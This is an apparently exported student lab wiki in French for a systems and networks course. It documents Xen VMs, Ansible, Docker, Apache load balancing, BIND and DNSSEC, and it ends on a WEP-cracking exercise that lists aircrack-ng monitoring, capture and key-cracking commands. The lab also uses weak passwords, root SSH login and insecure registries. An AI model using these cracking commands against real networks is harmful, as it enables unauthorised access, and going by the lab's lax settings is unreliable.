Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeur en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55077</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55077"/>
				<updated>2020-12-20T14:56:44Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Partie 7 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
